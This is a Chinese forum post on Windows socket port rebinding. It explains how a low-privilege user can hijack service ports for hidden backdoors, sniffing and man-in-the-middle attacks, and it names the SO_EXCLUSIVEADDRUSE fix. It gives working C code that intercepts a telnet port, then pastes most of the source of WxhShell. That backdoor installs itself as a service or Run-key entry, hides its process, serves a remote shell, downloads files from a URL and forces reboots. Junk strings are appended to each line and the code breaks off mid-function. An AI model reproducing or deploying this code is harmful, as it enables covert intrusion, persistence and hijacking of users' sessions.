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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }$;T.[ ~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7k:}9M~  
Srz.-,2PF  
  saddr.sin_family = AF_INET; .)B_~tct  
Q4Q*5>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 'j!7 O+7y  
6pQ#Zg()vp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *Rj>// A  
(9$/r/-a  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8sg8gBt  
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  这意味着什么?意味着可以进行如下的攻击: JB'q_dS}  
r%$-F2.p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >)U 7$<&b  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ][6$$ Lz  
dLal 15Pb  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~c`@uGw  
VD +8j29  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6,0pkx&Nv  
."PR Z,  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ;vF8V`f   
~|pVz/s|G  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }O@S ;[v S  
z(3mhMJY  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 yGH'|`  
ZqkP# ]+Y'  
  #include ^Y ~ ,s  
  #include =6q?XOM  
  #include 9 YU7R)  
  #include    7 4aap2^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T8ZBQ;o  
  int main() FymA_Eq  
  { OgS6#X  
  WORD wVersionRequested; Z%XBuq:BY  
  DWORD ret; Nd#t !=  
  WSADATA wsaData; EUe2<G  
  BOOL val; D_9&=a a'  
  SOCKADDR_IN saddr; =6j  5,  
  SOCKADDR_IN scaddr; 91%+Bf()J6  
  int err; ~7b '4\  
  SOCKET s; }` Q'!_`  
  SOCKET sc; C%"h1zWE:  
  int caddsize; o~gduNG#  
  HANDLE mt; $ZXy&?4  
  DWORD tid;   r[ ' T.yo  
  wVersionRequested = MAKEWORD( 2, 2 ); 0d:t$2~C  
  err = WSAStartup( wVersionRequested, &wsaData ); N*lq)@smq  
  if ( err != 0 ) { #2I[F  
  printf("error!WSAStartup failed!\n"); s>"=6gb  
  return -1; 2sy{  
  } ph30/*8  
  saddr.sin_family = AF_INET; l`gRw4 /$  
   #'^p-Jdm  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 IL}pVa00{n  
/,/T{V[  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); A`=ESz  
  saddr.sin_port = htons(23); 27E6S)zv  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +fAAkO*GP  
  { . %tc7`k8  
  printf("error!socket failed!\n"); ).N}x^  
  return -1; A86#7  
  } 0[T!}F^%e  
  val = TRUE; FD#?pVyPn^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 @*q\$Eg}2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?Hf^& yo  
  { Gc4N)oq)}b  
  printf("error!setsockopt failed!\n"); =@binTC4  
  return -1; Otn,(j;u  
  } k^]+I% ?Q  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T6Ue\Sp'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _xAdvr' W  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 mv SNKS  
KHcf P7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^P:9iu)+]~  
  { |vTirZP  
  ret=GetLastError(); .-`7Av+7  
  printf("error!bind failed!\n"); K,|Gtaa~  
  return -1; s3_i5,y  
  } 2[9hl@=%  
  listen(s,2); Trbgg  
  while(1) (Y, @-V  
  { 11X-X  
  caddsize = sizeof(scaddr); E^1uZI\z  
  //接受连接请求 RX=C)q2c  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); VV?+q)  
  if(sc!=INVALID_SOCKET) ;{q7rsE  
  { C n\'sb{  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); KTBsH;6  
  if(mt==NULL) [ #A!B#`  
  { 6N~~:Gt  
  printf("Thread Creat Failed!\n"); yXppu[=  
  break; ^%#v AS  
  } OjE wJ$$  
  } /_x?PiL  
  CloseHandle(mt); +%?_1bGX>  
  } Bu>srX9f  
  closesocket(s); )f(#Fn  
  WSACleanup(); -:a 9'dT  
  return 0; iIcO_ZyA  
  }   "] kaaF$U%  
  DWORD WINAPI ClientThread(LPVOID lpParam) Cg}cD.  
  { 8cfxKUS  
  SOCKET ss = (SOCKET)lpParam; uzho>p[ae  
  SOCKET sc; H`),PY2  
  unsigned char buf[4096]; +X cB5S>  
  SOCKADDR_IN saddr; q^( [ & +  
  long num; K}`.?6O  
  DWORD val; kIrME:  
  DWORD ret; qK.8^{b  
  //如果是隐藏端口应用的话,可以在此处加一些判断 jf*M}Q1jHE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   zg)Z2?K|;u  
  saddr.sin_family = AF_INET; t \DS}3pv  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); V2i*PK X  
  saddr.sin_port = htons(23); lsY5QE:Qrp  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s#)fnNQ ,  
  { @]Iku6d-  
  printf("error!socket failed!\n"); Rc0OEs%7P  
  return -1; j@ UIN3  
  } RA>xol~xy  
  val = 100; T1M4@j  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8.{5c6G  
  { }j+ZF'#  
  ret = GetLastError(); iZg v VH  
  return -1; BGLJ>zkq  
  } `cy_@Z5A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +7^%fX;3pW  
  { =MB[v/M59w  
  ret = GetLastError(); mAk)9`f/  
  return -1; |"5NI'X?  
  } e DX{}Dq(  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 6n  
  { P3on4c  
  printf("error!socket connect failed!\n"); IObGmc  
  closesocket(sc); QC \8Zy  
  closesocket(ss); 'F5&f9 A  
  return -1; 8nt:peJ$+  
  } 3"6lPUS  
  while(1) X*]uLgbl  
  { ,Tvk&<!0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Dx4?6  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 *-3K],^a  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 flR6^6E  
  num = recv(ss,buf,4096,0); qg'RD]a>R  
  if(num>0) ~>k<I:BtrT  
  send(sc,buf,num,0); ,wlF n  
  else if(num==0) XcR2]\  
  break; (O\5gAx  
  num = recv(sc,buf,4096,0); GBHv| GO  
  if(num>0) b5No>U) /  
  send(ss,buf,num,0); +a"MSPC4w  
  else if(num==0) x`WP*a7Fk]  
  break; x: `oqbd  
  } ucL}fnY1  
  closesocket(ss); .,o=#  
  closesocket(sc); 7xMvf<1P  
  return 0 ; g.SFl  
  } (}V.xi  
rNO'0Ck=  
V~+Oil6sa  
========================================================== Nm\0>}  
=Qsh3b&<P  
下边附上一个代码,,WXhSHELL vfK^^S  
g"`BNI]Qp  
========================================================== A'c0zWV2  
_o'ii VDuD  
#include "stdafx.h" -,uTAk0+@  
=A$5~op%  
#include <stdio.h> /v U$62KA  
#include <string.h> ]- ")r  
#include <windows.h> <wW#Wnc]  
#include <winsock2.h> P5P:_hr  
#include <winsvc.h> ~ZweP$l  
#include <urlmon.h> ]EnB`g(4;  
=$X5O&E3'  
#pragma comment (lib, "Ws2_32.lib") 3yszf Wr  
#pragma comment (lib, "urlmon.lib") eY-W5TgU  
*Cz>r}W  
#define MAX_USER   100 // 最大客户端连接数 dPc*!xrq  
#define BUF_SOCK   200 // sock buffer %nSm 32/t3  
#define KEY_BUFF   255 // 输入 buffer ;ug& v C  
4&r[`gL  
#define REBOOT     0   // 重启 Xx~OZ^t&Vn  
#define SHUTDOWN   1   // 关机 hxP%m4xF +  
WldlN?[j  
#define DEF_PORT   5000 // 监听端口 }rj.N98  
B: \\aOEj  
#define REG_LEN     16   // 注册表键长度 Pv17wUB  
#define SVC_LEN     80   // NT服务名长度 ~pO6C*"  
Aq yR+  
// 从dll定义API IlVz 5#R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e=<knKc Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (+`pEDD{X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %YkJ A:  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {pH{SRM)B  
/x c<&  
// wxhshell配置信息 oM G8?p  
struct WSCFG { $5yH(Z[[  
  int ws_port;         // 监听端口 ",!#7h  
  char ws_passstr[REG_LEN]; // 口令 H!?Av$h`  
  int ws_autoins;       // 安装标记, 1=yes 0=no x4r8^,K3Zn  
  char ws_regname[REG_LEN]; // 注册表键名 ;PCnEs  
  char ws_svcname[REG_LEN]; // 服务名 NoTEbFrV  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4zkn~oy  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _PLY<i2vr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {_&'tXL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ea kj>7\s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )r3}9J  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :hJHjh  
= NHuj.  
}; /{>$E>N;  
IppzQ0'=y1  
// default Wxhshell configuration Ls< ";QJc  
struct WSCFG wscfg={DEF_PORT, @<=xfs  
    "xuhuanlingzhe", G0oY`WXOB  
    1, 4wjy)VD_  
    "Wxhshell", )h6hN"#V5  
    "Wxhshell", |5oK04<  
            "WxhShell Service", Px{Cvc  
    "Wrsky Windows CmdShell Service", e/Wrm^]y  
    "Please Input Your Password: ", V T8PV5z  
  1, jd8`D6|Z  
  "http://www.wrsky.com/wxhshell.exe", f4UnLig  
  "Wxhshell.exe" *oopdGue  
    }; ZUePHI-dP  
Q97F5ru6  
// 消息定义模块 ,n<t':-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'n4Ro|kA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 'w3BSaJi  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $0$'co"  
char *msg_ws_ext="\n\rExit."; B~+3<#B  
char *msg_ws_end="\n\rQuit."; ]L+YnZ?6  
char *msg_ws_boot="\n\rReboot..."; PP)iw@9j  
char *msg_ws_poff="\n\rShutdown..."; RfH.WXi  
char *msg_ws_down="\n\rSave to "; 5$f vI#NO<  
Uc%n{ a-a  
char *msg_ws_err="\n\rErr!";  ,5!&}  
char *msg_ws_ok="\n\rOK!"; eRU0gvgLu"  
zx` %)r  
char ExeFile[MAX_PATH]; 4wYD-MB  
int nUser = 0; l r80RL'_  
HANDLE handles[MAX_USER]; .1n=&d|  
int OsIsNt; 'D`O4TsP>  
8XJg  
SERVICE_STATUS       serviceStatus; j5Kw0Wy7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZByxC*Cz  
Geyy!sr``  
// 函数声明 B7 PkCS&X  
int Install(void); \|e>(h!l;  
int Uninstall(void); 1 aWzd[i  
int DownloadFile(char *sURL, SOCKET wsh); $J6Pv   
int Boot(int flag); t/55tL  
void HideProc(void); Dl=9<:6FW  
int GetOsVer(void); = og>& K  
int Wxhshell(SOCKET wsl); KaVNRS  
void TalkWithClient(void *cs); ^*s DJ #  
int CmdShell(SOCKET sock); 9 5bi W  
int StartFromService(void); ~o{GQ>  
int StartWxhshell(LPSTR lpCmdLine); F.{{gpI  
< z':_,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V"Cx5#\7C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); I(^pIe-  
mzw`{Oy>L  
// 数据结构和表定义 e&~vO| 3w%  
SERVICE_TABLE_ENTRY DispatchTable[] = ]oT8H?%*Y  
{ q4u,pm,@  
{wscfg.ws_svcname, NTServiceMain}, w O H{L  
{NULL, NULL} a8 X}r.  
}; 44Dytpvg  
Lk%`hsv  
// 自我安装 CFE  ubEb  
int Install(void) &T.d"i  
{ G47(LE"2b  
  char svExeFile[MAX_PATH]; !8g419Yg  
  HKEY key; hcn $uyP  
  strcpy(svExeFile,ExeFile); /my5s\;s|z  
')R+Z/hG.  
// 如果是win9x系统,修改注册表设为自启动 w8=&rzr8  
if(!OsIsNt) { SEfRU`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r]q;>\T'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); f^JiaU4 [  
  RegCloseKey(key); ),{v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r ^=rs!f@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EPEWyGw  
  RegCloseKey(key); @jL](Mq|]  
  return 0; l7h6R$7; 0  
    } B":9C'tip  
  } 26M:D&|ZB  
} sNa Lz  
else { ^bM\:z"M  
Borr  
// 如果是NT以上系统,安装为系统服务 TWzlF>4N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); J`6IH#54  
if (schSCManager!=0) F u>  
{ vYFtw L`  
  SC_HANDLE schService = CreateService @%lkRU)  
  ( $>JfLSyC  
  schSCManager, 5)5$h]Nz>  
  wscfg.ws_svcname, uzoI*aqk-s  
  wscfg.ws_svcdisp, J.E Bt3  
  SERVICE_ALL_ACCESS, p9>{X\eT:  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]I,(^Xq3a(  
  SERVICE_AUTO_START, V0)bPcS/  
  SERVICE_ERROR_NORMAL, "Jahc.I  
  svExeFile, 2LfiaHO  
  NULL, z`"*60b  
  NULL, oACbZ#/@n  
  NULL, 6|mHu2qXm  
  NULL, !hs33@*u~  
  NULL 2jf73$F  
  ); L< XAvg  
  if (schService!=0) p< Y-b,&  
  { o3"Nxq"U  
  CloseServiceHandle(schService); ( ]E0fjk  
  CloseServiceHandle(schSCManager); ,.kJF4s&  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U[0x\~[$K  
  strcat(svExeFile,wscfg.ws_svcname); |,bP` Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4s s 4O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ) $`}~  
  RegCloseKey(key); a(J@]X>'  
  return 0; @m5c<(bkfp  
    } N \~}`({  
  }  /!#A'#Z  
  CloseServiceHandle(schSCManager); <ni_78  
} c;?J  
} X-=4Z9  
3F?7oMNIh  
return 1; 5cvvdO*C0  
} H#S`m  
|(%=zb=?X  
// 自我卸载 tk)J E^'  
int Uninstall(void) nTtE+~u  
{ yk0tA  
  HKEY key; pG6?"*Fz;  
|oWl9j]Z  
if(!OsIsNt) { >'lvZt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xfF;u9$;  
  RegDeleteValue(key,wscfg.ws_regname); tj? %{L  
  RegCloseKey(key); pCf9"LLer  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o)bKs>` U  
  RegDeleteValue(key,wscfg.ws_regname); yV~TfTJ  
  RegCloseKey(key); 3'Hz,qP  
  return 0; J9*i`8kU.  
  } ZEp>~dn;  
} KE4#vKV0yC  
} qyBC1an5,  
else { 'fs tfk  
PNz]L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  bUsX~R-  
if (schSCManager!=0) *rgF[ :  
{ y6dQ4Whv&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -Qn l)JB  
  if (schService!=0) 4VHWoN"U  
  { VFrp7;z43  
  if(DeleteService(schService)!=0) { v8YF+N  
  CloseServiceHandle(schService); }4g$ aTc  
  CloseServiceHandle(schSCManager); '3w%K+eJY  
  return 0; #bJp)&LO  
  } .=)[S5.BVq  
  CloseServiceHandle(schService); abAw#XQ8  
  } BbM/Rd1tAm  
  CloseServiceHandle(schSCManager); 1V wcJd  
} W ]$/qyc&J  
} .Y|wG<E  
n0LNAhM  
return 1; h<Ct[46,S  
} ? 'qyI^m@  
v, CWE  
// 从指定url下载文件 V|hwT^h  
int DownloadFile(char *sURL, SOCKET wsh) `W>Sss  
{ TCFr-*x  
  HRESULT hr; (q0vql  
char seps[]= "/"; \11+~  
char *token; M&jlUr&l  
char *file; {!j)j6(NY  
char myURL[MAX_PATH]; L PS,\+  
char myFILE[MAX_PATH]; S&'?L0  
aNn4j_V(  
strcpy(myURL,sURL); 0x,**6  
  token=strtok(myURL,seps); 1 0zw}1x  
  while(token!=NULL) -%0pYB  
  { gAh#H ?MM  
    file=token; Q5hOVD%  
  token=strtok(NULL,seps); jJaMkF;f  
  } bsm/y+R  
P:_bF>r ?  
GetCurrentDirectory(MAX_PATH,myFILE); 0K6My4d{  
strcat(myFILE, "\\"); F @<h:VVP  
strcat(myFILE, file); SA#01}&p  
  send(wsh,myFILE,strlen(myFILE),0); obGhO  
send(wsh,"...",3,0); k dWUz(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <$@I*xk[  
  if(hr==S_OK) ,N _/J4Us  
return 0; 73 4t  
else U{KnjoS  
return 1; o*artMkG  
v k= |TE  
} "hQGk  
cRMyYdJ o  
// 系统电源模块 q`'"+`h  
int Boot(int flag) gkX7,J-0  
{ 0VrsbkS  
  HANDLE hToken; {n&n^`Em  
  TOKEN_PRIVILEGES tkp; Z)IF3{*  
D)bL;h  
  if(OsIsNt) { IRdR3X56  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6O/c%1VHA3  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); )Fp$ *]|  
    tkp.PrivilegeCount = 1; S8B?uU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ZqdoYU'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s_}6#;  
if(flag==REBOOT) { ,  O/IY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) : 5['V#(o  
  return 0; u;]xAr1  
} `a:3S@n(}  
else { ]=%6n@z'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Fw*O ciC  
  return 0; 2y \ogF  
} zRa2iCi  
  } ar\ K8mj  
  else { *7-rm  
if(flag==REBOOT) { @e&0Wk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }zS5o [OE  
  return 0; H] g=( %ok  
} 0{uaSR  
else { /D1Lh_,2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $_,-ES I  
  return 0; $5/d?q-ts{  
} 5~/EAK`  
} ?;_>BX|Zjl  
Xtfs)"  
return 1; +Z2XP76(4A  
} x;sc?5_`  
|` ?&  
// win9x进程隐藏模块 %$kd`Rl}  
void HideProc(void) }vh4ix  
{ q*4U2_^.  
\ {]y(GT  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); f1v4h[)-  
  if ( hKernel != NULL ) UPP"-`t  
  { #qmsZHd}b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W8$0y2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 122s 7A  
    FreeLibrary(hKernel); dCS f$5  
  } 'e' p`*  
7i{(,:  
return; *Ow2,{Nn  
} W;cY g.W2  
hdi0YL  
// 获取操作系统版本 ;9WUt,R  
int GetOsVer(void) W7b m}JHn  
{ $2}#):`  
  OSVERSIONINFO winfo; JB].ht  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); : \qapFV  
  GetVersionEx(&winfo); \o/eF&  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M2w'cdHk  
  return 1; 9 &uf   
  else Dw7Xy}I/  
  return 0; \>pm (gF  
} Q K#wsw  
nw% 9Qw  
// 客户端句柄模块 p/RT*?<   
int Wxhshell(SOCKET wsl) OA=~ i/n~  
{ qljsoDG  
  SOCKET wsh; :UP8nq  
  struct sockaddr_in client; 9M3"'^ {$  
  DWORD myID; DpvHIE:W  
d"miPR  
  while(nUser<MAX_USER) %7}j|eS)G  
{ 9]w?mHslE  
  int nSize=sizeof(client); NU?<bIQ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); aA52Li  
  if(wsh==INVALID_SOCKET) return 1; P_NF;v5 v  
T}=^D=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OqDP{X:  
if(handles[nUser]==0) Jy% ?"wn  
  closesocket(wsh); k_,& Q?GtU  
else Fz,jnV9=j  
  nUser++; +)WU:aKI  
  }  >(ip-R  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ^d{5GK'  
-,b+tC<V)0  
  return 0; =#[oi3k  
} hL6;n*S=  
~gff{Nzk  
// 关闭 socket fV5$[CL1  
void CloseIt(SOCKET wsh) qD ?`Yd  
{ Iq4B%xo6G  
closesocket(wsh); bTrusSAl  
nUser--; <7F-WR/2n  
ExitThread(0); |k90aQO  
} -5 PVWL\  
w6cl3J&  
// 客户端请求句柄 ^7gKs2M  
void TalkWithClient(void *cs) cPuXy e  
{ vVw@^7U  
sAqy(oy#M  
  SOCKET wsh=(SOCKET)cs; V0_tk"  
  char pwd[SVC_LEN]; oo2d,  
  char cmd[KEY_BUFF]; K&`1{,  
char chr[1]; l#1#3F  
int i,j; IF0!@f  
bI|G %  
  while (nUser < MAX_USER) { o}114X4q;  
Z;81 "   
if(wscfg.ws_passstr) { &`v?oN9$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); UAhWJ$(C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kl.;E{PL  
  //ZeroMemory(pwd,KEY_BUFF); ;]Q6K9.d8  
      i=0; dB[4NT  
  while(i<SVC_LEN) { (~zu4^9w  
2<I=xWwFA  
  // 设置超时 f%@~|:G:  
  fd_set FdRead; =dDPQZEin  
  struct timeval TimeOut; `}#rcDK  
  FD_ZERO(&FdRead); lMGO4U[z  
  FD_SET(wsh,&FdRead); m","m  
  TimeOut.tv_sec=8; jL^@;"/XhC  
  TimeOut.tv_usec=0; czD" mI!  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2I}pX9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >x;\H(g  
aF^N  Ye  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 94ruQ/  
  pwd=chr[0]; iLuC_.'u=  
  if(chr[0]==0xd || chr[0]==0xa) { }8Y! -qX  
  pwd=0; 7GsKD=bl]  
  break; ~ W8X g)  
  } Uc {m##!  
  i++; s__xBY  
    } sV a0eGc  
\Dq'~ d  
  // 如果是非法用户,关闭 socket rN} 8~j  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [5?Dov^j 3  
} 8.B'O>\T  
}^Q:Q\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mt-r`W3 q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pvyEs|f=%  
#\lvzMjCC  
while(1) { F5 ]<=i  
.5G`Y  
  ZeroMemory(cmd,KEY_BUFF); T3z ovnR  
]5f;Kz)  
      // 自动支持客户端 telnet标准   {V QGfN  
  j=0; f_S$CFa@  
  while(j<KEY_BUFF) { 6Bjo9,L  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r9_ ON|  
  cmd[j]=chr[0]; CZ3oX#b  
  if(chr[0]==0xa || chr[0]==0xd) { >z\IO  
  cmd[j]=0; C(G.yd  
  break; p!YK~cH[  
  } zx}+Q B0  
  j++; T(*,nJi~9  
    } SKH}!Id}n  
)DXt_leLg  
  // 下载文件 <3B^5p\/  
  if(strstr(cmd,"http://")) { kPs?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0);  80@\e  
  if(DownloadFile(cmd,wsh)) Bgm8IK)6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); a(A~S u97  
  else /\/^= j  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QLO;D)fC  
  } NLMvi!5w,  
  else { ,w#lUg p  
R}0gIp=  
    switch(cmd[0]) { `;6M|5G  
  ?CQE6ch  
  // 帮助 _ f%s]  
  case '?': { /@ @F nQ++  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M co:eE  
    break; vzg^tJ  
  } Hloe7+5UD  
  // 安装 ^}-l["u`  
  case 'i': { Qt+D ,X  
    if(Install()) larv6ncV  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dz~0(  
    else -pYmM d,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t`K9K"|k  
    break; -iDs:J4Iq  
    } p2gdA J  
  // 卸载 EE  1D>I  
  case 'r': { A?lL K&*  
    if(Uninstall()) fg)*TR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |:R\j0t  
    else ,IPt4EH$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A`3KE9ED  
    break; '0+I'_(  
    } ZwMVFC-d  
  // 显示 wxhshell 所在路径 6LDZ|K@  
  case 'p': { a20w.6F  
    char svExeFile[MAX_PATH]; ':4<[Vk  
    strcpy(svExeFile,"\n\r"); >j=ZB3yZ  
      strcat(svExeFile,ExeFile); U7g`R@  
        send(wsh,svExeFile,strlen(svExeFile),0); $#h U_vr  
    break; f 3H uT=n  
    } oDA'$]UL  
  // 重启 gGVt ( ^  
  case 'b': { #H~55))F  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pWRdI_  
    if(Boot(REBOOT)) 0vqH-)}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y$R8J:5f  
    else { 9A.NM+u7  
    closesocket(wsh); |D)CAQn,  
    ExitThread(0); $\P/ %eP  
    } %HG+ |)b  
    break; 7He"IJ  
    } ,"`20.Lv  
  // 关机 ED>7  
  case 'd': { 5<(* +mP`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w PR Ns9^  
    if(Boot(SHUTDOWN)) LLTr+@lj  
